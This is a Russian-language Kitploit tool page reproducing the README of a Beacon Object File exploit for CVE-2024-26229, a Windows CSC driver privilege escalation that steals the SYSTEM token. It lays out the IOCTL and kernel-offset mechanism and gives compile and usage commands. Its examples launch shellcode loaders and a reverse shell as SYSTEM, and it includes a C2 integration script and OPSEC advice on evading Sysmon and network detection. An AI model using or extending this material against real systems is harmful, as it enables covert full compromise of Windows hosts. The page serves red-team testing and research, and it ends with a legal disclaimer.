Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 Beacon Object File версия | Kitploit
Инструменты/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Повышение привилегийЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object File версия

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-26229 BOF

Реализация Beacon Object File для CVE-2024-26229 — локальное повышение привилегий через драйвер CSC Windows с помощью кражи токена DKOM.

Основано на RalfHacker/CVE-2024-26229-exploit, переработано в BOF с разрешением функций во время выполнения (DFR) для использования с C2-фреймворками, поддерживающими API BOF от Cobalt Strike.

Принцип работы

  1. Открывается \Device\Mup\;Csc\.\. через NtCreateFile для получения дескриптора драйвера CSC
  2. Отправляется IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) с подготовленным входным буфером, указывающим на KTHREAD->PreviousMode - 0x18, что приводит к изменению PreviousMode с UserMode на KernelMode
  3. При PreviousMode = KernelMode функция NtWriteVirtualMemory получает возможность записи в произвольные адреса ядра
  4. Копируется токен процесса SYSTEM (PID 4) EPROCESS->Token поверх токена текущего процесса (DKOM)
  5. Восстанавливается PreviousMode в UserMode
  6. Запускается указанный исполняемый файл через CreateProcessA — дочерний процесс наследует токен SYSTEM

Сам процесс-бикон становится SYSTEM после шага 4. Запускаемый процесс необязателен — если CreateProcessA завершится неудачей, бикон всё равно остаётся с повышенными привилегиями.

Целевая система

  • ОС: Windows 10 / Server 2019 (сборка 19041+)
  • Требование: драйвер CSC должен быть включён (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • Исправлено в: накопительном обновлении за апрель 2024 года

Смещения ядра (жёстко заданы)

СмещениеЗначениеСтруктура
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

Эти смещения зависят от версии. Если цель — другая сборка, проверьте значения через WinDbg:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

Компиляция

Требуется mingw-w64 и заголовочный файл beacon.h, совместимый с вашим C2-фреймворком.

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

Поместите скомпилированный файл .o в вашу директорию BOF (например, _bin/cve-2024-26229.x64.o).

Использование

root@kitploit:~
cve-2024-26229 --path <путь_к_exe> [--args "<аргументы_exe>"]

Примеры

Запуск загрузчика с локальным шеллкодом:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

Запуск обратного шелла:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

Запуск без аргументов:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

Ожидаемый вывод

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

Интеграция с AdaptixC2 / AXS

Зарегистрируйте BOF в вашем скрипте расширения .axs:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC драйвер LPE -- кража токена DKOM до SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Путь к исполняемому файлу для запуска как SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Аргументы для исполняемого файла", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Ошибка: --path обязателен");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Задача: CVE-2024-26229 LPE");
});

Упаковка аргументов — cstr,cstr — две строки, завершающиеся нулевым символом, соответствующие двум вызовам BeaconDataExtract в BOF.

Замечания по OPSEC

  • Нет артефактов в пользовательском режиме — DKOM работает исключительно в памяти ядра через повреждённый PreviousMode. Никаких файлов не записывается, служб не создаётся, реестр не изменяется.
  • Нет сетевых индикаторов — эксплойт работает только локально. Используйте загрузчик, который читает шеллкод с диска (шаблон --munition-local) вместо загрузки по HTTP, чтобы избежать обнаружения по сети.
  • Создание процесса — CreateProcessA с флагом CREATE_NO_WINDOW. Запущенный процесс наследует токен SYSTEM. Если ваш загрузчик внедряется в другой процесс (например, svchost.exe), загрузчик на диске можно удалить после завершения.
  • Sysmon — вызов NtCreateFile к \Device\Mup\;Csc\.\. и IOCTL обычно не логируются стандартными конфигурациями Sysmon. Вызов CreateProcessA создаёт стандартное событие создания процесса (Event ID 1) — убедитесь, что запускаемый бинарный файл не детектится по сигнатурам.
  • Восстановление PreviousMode — BOF восстанавливает PreviousMode в UserMode после копирования токена. Процесс-бикон продолжает нормально функционировать после эксплуатации.

Ограничения

  • Только x64 — жёстко заданные смещения и арифметика указателей рассчитаны на 64-битную архитектуру
  • Смещения зависят от сборки — заданные значения EPROCESS->Token (0x4B8) и KTHREAD->PreviousMode (0x232) верны для Windows 10 19041–19045 и Server 2019 17763. Для других сборок может потребоваться корректировка.
  • Драйвер CSC должен быть включён — проверьте через sc query csc или реестр HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). Драйвер включён по умолчанию на рабочих станциях, но может быть отключён на серверах.
  • Однократное использование на процесс — DKOM изменяет токен EPROCESS самого бикона. Запуск BOF дважды в одном биконе избыточен (он уже SYSTEM).

Благодарности

  • RalfHacker — оригинальный автономный эксплойт
  • Natel — тестирование и рецензирование

Ссылки

  • CVE-2024-26229 — MITRE
  • Рекомендации Microsoft по безопасности

Правовое предупреждение

Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности.

Использование этого инструмента против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является незаконным в соответствии с законодательством Вьетнама, включая, но не ограничиваясь:

  • Luật An toàn thông tin mạng 2015 (Закон о безопасности сетевой информации, № 86/2015/QH13) — запрещает несанкционированный доступ к информационным системам
  • Bộ luật Hình sự 2015, sửa đổi 2017 (Уголовный кодекс, статьи 225–226) — криминализирует несанкционированное вторжение в компьютерные сети и уничтожение данных

Данный инструмент предоставляется только в образовательных целях. Автор не несёт ответственности за его неправомерное использование. Вы несёте полную ответственность за то, чтобы ваше использование соответствовало всем применимым местным, национальным и международным законам.

Используя этот инструмент, вы подтверждаете, что получили соответствующее разрешение от владельца системы перед началом любого тестирования.

Скачать инструмент